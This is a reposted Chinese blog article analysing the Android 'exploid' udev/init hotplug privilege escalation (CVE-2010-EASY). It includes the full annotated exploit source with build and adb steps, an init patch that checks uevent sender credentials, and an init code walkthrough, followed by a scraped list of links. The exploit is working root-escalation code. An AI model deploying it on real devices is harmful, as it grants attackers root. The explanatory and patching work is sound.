本文转载自:

http://blog.csdn.net/lhj0711010212/article/details/9351131

android提权漏洞CVE-2010-EASY修复
 

linux系统由udev提供系统设备的管理,比如提供热拔插usb设备等等。而Android把udev的工作移交给init进程。而linux中版本号小于1.4.1的udev不会检查是由内核还是用户发送热拔插信息。因此用户可以发送恶意的信息让内核加载定义的恶意程序从而取得root权限。该代码如下。

程序执行的顺序用(1)序号标明了。

通过在 http://www.codesourcery.com/sgpp/lite/arm/portal/release1803 下载编译工具

通过arm-none-eabi-gcc exploid.c -static -o exploid 编译

adb push exploid /data/local/tmp 目录中执行即可root

提权之后rootshell是一个权限为04711的属于root的可执行程序,普通用户也可以运行该程序,由于S位置位,当普通用户执行该程序时有效用户ID为root,从而可以运行root用户才能执行的程序和操作,从而提权成功。

#include <stdio.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <linux/netlink.h>

#include <fcntl.h>

#include <errno.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/stat.h>

#include <signal.h>

#include <sys/mount.h>

 

int main(int argc, char **argv, char **env)

{

        char buf[512], path[512];

        int ofd;

        struct sockaddr_nl snl;

        struct iovec iov = {buf, sizeof(buf)};

        //(1)初始化要发送的数据,通过NET_LINK机制(参见man 手册,可以与内核实现近似于套接字的通信方式)发送

        struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};

        int sock;

        char *basedir = NULL;

 

 

        /* I hope there is no LD_ bug in androids rtld :) */

        //(11)root后执行rootshell则执行该步,直接创建一个有root权限的shell

        if (geteuid() == 0 && getuid() != 0)

                rootshell(env);

 

    //(2)获取程序的路径,为/data/local/tmp/exploid

        if (readlink("/proc/self/exe", path, sizeof(path)) < 0)

                die("[-] readlink");

 

        if (geteuid() == 0) {

        //(9)有内核加载热拔插固件时再次执行该应用,此时有效id为为0,有root权限

                clear_hotplug();

                /* remount /system rw */

                

                //(10)拷贝自己到/system/bin/目录下成为rootshell,并改变sh的文件属性

                remount_system("/system");

                if (copy(path, "/system/bin/rootshell") != 0)

                        chmod("/system/bin/sh", 04755);

                else

                        chmod("/system/bin/rootshell", 04711);

                for (;;)

                        sleep(3);

        }

 

        printf("[*] Android local root exploid (C) The Android Exploid Crew\n");

    //(3)改变工作目录,没有root权限,只可以在少数目录执行

        basedir = "/sqlite_stmt_journals";

        if (chdir(basedir) < 0) {

                basedir = "/data/local/tmp";

                if (chdir(basedir) < 0)

                        basedir = strdup(getcwd(buf, sizeof(buf)));

        }

        printf("[+] Using basedir=%s, path=%s\n", basedir, path);

        printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");

 

        memset(&snl, 0, sizeof(snl));

        snl.nl_pid = 1;

        snl.nl_family = AF_NETLINK;

        

    //(4)构建一个NETLINK的套接字

        if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)

                die("[-] socket");

 

    //(5)创建要热拔插的文件,其中hotplug文件中存储的为/data/local/tmp/exploid

        close(creat("loading", 0666));

        if ((ofd = creat("hotplug", 0644)) < 0)

                die("[-] creat");

        if (write(ofd, path , strlen(path)) < 0)

                die("[-] write");

        close(ofd);

        

        //(6)建立一个data文件,为指向系统的hotplug的符号链接

        symlink("/proc/sys/kernel/hotplug", "data");

        

        //(7)构建发送给内核的信息,内容为进行热拔插,固件位置在/data/local/tmp/hotplug

        snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"

                 "SUBSYSTEM=firmware%c"

                 "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);

        printf("[+] sending add message ...\n");

        

        //(8)发送该信息

        if (sendmsg(sock, &msg, 0) < 0)

                die("[-] sendmsg");

        close(sock);

        printf("[*] Try to invoke hotplug now, clicking at the wireless\n"

               "[*] settings, plugin USB key etc.\n"

               "[*] You succeeded if you find /system/bin/rootshell.\n"

               "[*] GUI might hang/restart meanwhile so be patient.\n");

        sleep(3);

        return 0;

}

 

void die(const char *msg)

{

        perror(msg);

        exit(errno);

}

 

 

int copy(const char *from, const char *to)

{

        int fd1, fd2;

        char buf[0x1000];

        int r = 0;

 

        if ((fd1 = open(from, O_RDONLY)) < 0)

                return -1;

        if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {

                close(fd1);

                return -1;

        }

 

        for (;;) {

                r = read(fd1, buf, sizeof(buf));

                if (r <= 0)

                        break;

                if (write(fd2, buf, r) != r)

                        break;

        }

 

        close(fd1);

        close(fd2);

        sync(); sync();

        return r;

}

 

 

void clear_hotplug()

{

        int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);

        write(ofd, "", 1);

        close(ofd);

}

 

 

void rootshell(char **env)

{

        char *sh[] = {"/system/bin/sh", 0};

 

        // AID_SHELL

        if (getuid() != 2000)

                die("[-] Permission denied.");

 

        setuid(0); setgid(0);

        execve(*sh, sh, env);

        die("[-] execve");

}

 

 

int remount_system(const char *mntpoint)

{

        FILE *f = NULL;

        int found = 0;

        char buf[1024], *dev = NULL, *fstype = NULL;

 

        if ((f = fopen("/proc/mounts", "r")) == NULL)

                return -1;

 

        memset(buf, 0, sizeof(buf));

        for (;!feof(f);) {

                if (fgets(buf, sizeof(buf), f) == NULL)

                        break;

                if (strstr(buf, mntpoint)) {

                        found = 1;

                        break;

                }

        }

        fclose(f);

        if (!found)

                return -1;

        if ((dev = strtok(buf, " \t")) == NULL)

                return -1;

        if (strtok(NULL, " \t") == NULL)

                return -1;

        if ((fstype = strtok(NULL, " \t")) == NULL)

                return -1;

        return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);

}

CVE-2010-EASY漏洞是android两大提权漏洞之一,它的修复方法很简单
只需要给system/core/init/devices.c文件打个补丁就可以了,具体内容如下

static int open_uevent_socket(void)

{

+    setsockopt(s, SOL_SOCKET, SO_PASSCRED, &on, sizeof(on));

//在open_uevent_socket对套接字增加一个选项 SO_PASSCRED,这样可以让套接字增加一个认证,让接收者可以知道发送者的uid和gid :-)

}

void handle_device_fd(int fd)

{

+    for(;;) {

+        char msg[UEVENT_MSG_LEN+2];

+        char cred_msg[CMSG_SPACE(sizeof(struct ucred))];

+        struct iovec iov = {msg, sizeof(msg)};

+        struct sockaddr_nl snl;

+        struct msghdr hdr = {&snl, sizeof(snl), &iov, 1, cred_msg, sizeof(cred_msg), 0};

+

+        ssize_t n = recvmsg(fd, &hdr, 0);

+        if (n <= 0) {

+            break;

+        }

-    while((n = recv(fd, msg, UEVENT_MSG_LEN, 0)) > 0) {

-        struct uevent uevent;

+        if ((snl.nl_groups != 1) || (snl.nl_pid != 0)) {

+            /* 如果不是内核的多播信息则抛弃 */

+            continue;

+        }

+

+        struct cmsghdr * cmsg = CMSG_FIRSTHDR(&hdr);

+        if (cmsg == NULL || cmsg->cmsg_type != SCM_CREDENTIALS) {

+            /* 如果发送者的认证没有则抛弃 */

+            continue;

+        }

+

+        struct ucred * cred = (struct ucred *)CMSG_DATA(cmsg);

+        if (cred->uid != 0) {

+            /* 消息不是来自于root用户则抛弃 */

+            continue;

+        }

}

}

结合init源码剖析android root提权漏洞(CVE-2010-EASY)
 

主要介绍向init进程发送热拔插信息后init进程的处理流程

首先我们来了解一个数据结构,uevent,如下

struct uevent {

const char *action;

const char *path;

const char *subsystem;

const char *firmware;

int major;

int minor;

};

内核收到的信息如下,ACTION=addDEVPATH=/../data/local/tmpSUBSYSTEM=firmwareFIRMWARE=../../../data/local/tmp/hotplug
通过如下函数parse_event进行解析

static void parse_event(const char *msg, struct uevent *uevent)

{

while(*msg) {

if(!strncmp(msg, "ACTION=", 7)) {

msg += 7;

uevent->action = msg;

} else if(!strncmp(msg, "DEVPATH=", 8)) {

msg += 8;

uevent->path = msg;

} else if(!strncmp(msg, "SUBSYSTEM=", 10)) {

msg += 10;

uevent->subsystem = msg;

} else if(!strncmp(msg, "FIRMWARE=", 9)) {

msg += 9;

uevent->firmware = msg;

} else if(!strncmp(msg, "MAJOR=", 6)) {

msg += 6;

uevent->major = atoi(msg);

} else if(!strncmp(msg, "MINOR=", 6)) {

msg += 6;

uevent->minor = atoi(msg);

}

while(*msg++);

}

}

经过解析之后,uevent的结构为:
action="add"
path="/../data/local/tmp"
subsystem="firmware"
firmware="../../../data/local/tmp/hotplug"

之后来到处理firmware的核心函数

static void process_firmware_event(struct uevent *uevent)

{

l = asprintf(&root, SYSFS_PREFIX"%s/", uevent->path);

//root为/sys/../data/local/tmp/=/data/local/tmp/

l = asprintf(&loading, "%sloading", root);

//loading为/data/local/tmp/loading

l = asprintf(&data, "%sdata", root);

//data为/data/local/tmp/data   其内容为指向/proc/sys/kernel/hotplug的符号链接

l = asprintf(&file, FIRMWARE_DIR"/%s", uevent->firmware);

//file为/etc/firmware/../../../data/local/tmp/hotplug=/data/local/tmp/hotplug

loading_fd = open(loading, O_WRONLY);

data_fd = open(data, O_WRONLY);

fw_fd = open(file, O_RDONLY);

load_firmware(fw_fd, loading_fd, data_fd);

}

最后来到load_firmware函数,把hotplug中的数据写到/proc/sys/kernel/hotplug中
其内容变为/data/local/tmp/exploid

static int load_firmware(int fw_fd, int loading_fd, int data_fd)

{

while (len_to_copy > 0) {

char buf[PAGE_SIZE];

nr = read(fw_fd, buf, sizeof(buf));

len_to_copy -= nr;

while (nr > 0) {

nw = write(data_fd, buf + nw, nr);

nr -= nw;

}

}

}

终于/proc/sys/kernel/hotplug中写入了我们的恶意程序了,只要再次受到如wifi打开、usb插入等热拔插信息,内核就会以root权限加载我们的程序再一次执行,从而达到提权的目的

android提权漏洞CVE-2010-EASY修复【转】的更多相关文章

  1. Android提权漏洞CVE-2014-7920&CVE-2014-7921分析

    没羽@阿里移动安全,更多安全类技术干货,请访问阿里聚安全博客 这是Android mediaserver的提权漏洞,利用CVE-2014-7920和CVE-2014-7921实现提权,从0权限提到me ...

  2. Android提权漏洞CVE-2014-7920、CVE-2014-7921

  3. Linux Kernel ‘perf’ Utility 本地提权漏洞

    漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...

  4. Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞

    漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...

  5. 9.CVE-2016-5195(脏牛)内核提权漏洞分析

    漏洞描述: 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2 ...

  6. 基于RedHat发行的Apache Tomcat本地提权漏洞

    描述 Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞.2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425.此次受到影响的主要是基于R ...

  7. Linux本地内核提权漏洞复现(CVE-2019-13272)

    Linux本地内核提权漏洞复现(CVE-2019-13272) 一.漏洞描述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_c ...

  8. 2019-10-16,sudo提权漏洞(CVE-2019-14287)实现

    sudo是linux系统命令,让普通账号以root身份执行某些命令,比如,安装软件,查看某些配置文件,关机,重启等,如果普通用户需要使用sudo需要修改配置文件,/etc/sudoers,将sudo使 ...

  9. sudo 提权漏洞(CVE-2019-14287)复现 (10.16 第二十二天)

    sudo是Linux系统命令,让普通账号以root身份去执行某些命令,比,安装软件.查看某些配置文件.关机.重启等操作,如果普通账号需要使用sudo需要修改配置文件/etc/sudoers,将sudo ...

随机推荐

  1. POJ2096 Collecting Bugs(概率DP,求期望)

    Collecting Bugs Ivan is fond of collecting. Unlike other people who collect post stamps, coins or ot ...

  2. Java中的自动类型转换

    Java里所有的数值型变量可以进行类型转换,这个大家都知道,应该不需要详细解释为什么. 2 在说明自动类型转换之前必须理解这样一个原则“表数范围小的可以向表数范围大的进行自动类型转换” 3 关于jav ...

  3. tensorflow加载embedding模型进行可视化

    1.功能 采用python的gensim模块训练的word2vec模型,然后采用tensorflow读取模型可视化embedding向量 ps:采用C++版本训练的w2v模型,python的gensi ...

  4. lnux 下 core文件

    1. core文件的简单介绍在一个程序崩溃时,它一般会在指定目录下生成一个core文件.core文件仅仅是一个内存映象(同时加上调试信息),主要是用来调试的. 2. 开启或关闭core文件的生成用以下 ...

  5. Python 和 Elasticsearch 构建简易搜索

    Python 和 Elasticsearch 构建简易搜索 作者:白宁超 2019年5月24日17:22:41 导读:件开发最大的麻烦事之一就是环境配置,操作系统设置,各种库和组件的安装.只有它们都正 ...

  6. 多语言业务错误日志收集监控工具Sentry 安装与使用

    Sentry 是一个实时事件日志记录和汇集的平台.其专注于错误监控以及提取一切事后处理所需信息而不依赖于麻烦的用户反馈. Sentry是一个日志平台, 它分为客户端和服务端,客户端(目前客户端有Pyt ...

  7. 2018 ICPC 沈阳网络赛预赛 Supreme Number(找规律)

    [传送门]https://nanti.jisuanke.com/t/31452 [题目大意]:给定一个数字(最大可达10100),现在要求不超过它的最大超级质数.超级质数定义:对于一个数,把它看成数字 ...

  8. T1063 合并果子 codevs

    http://codevs.cn/problem/1063/  时间限制: 1 s  空间限制: 128000 KB  题目等级 : 钻石 Diamond   题目描述 Description 在一个 ...

  9. 如何快速的知道Maven插件的命令行输入参数

    用命令行使用Maven的插件时,-D表示属性的输入,-P表示构建配置文件的输入. 比如要使用package生命周期阶段对Application项目进行打包jar时,查找方式如下: 1.由于packag ...

  10. python把日期转换为秒数;日期转为字符串;datetime、date

    1.秒数是相对于1970.1.1号的秒数 2.日期的模块有time.datetime 3. import datetime t = datetime.datetime(2009, 10, 21, 0, ...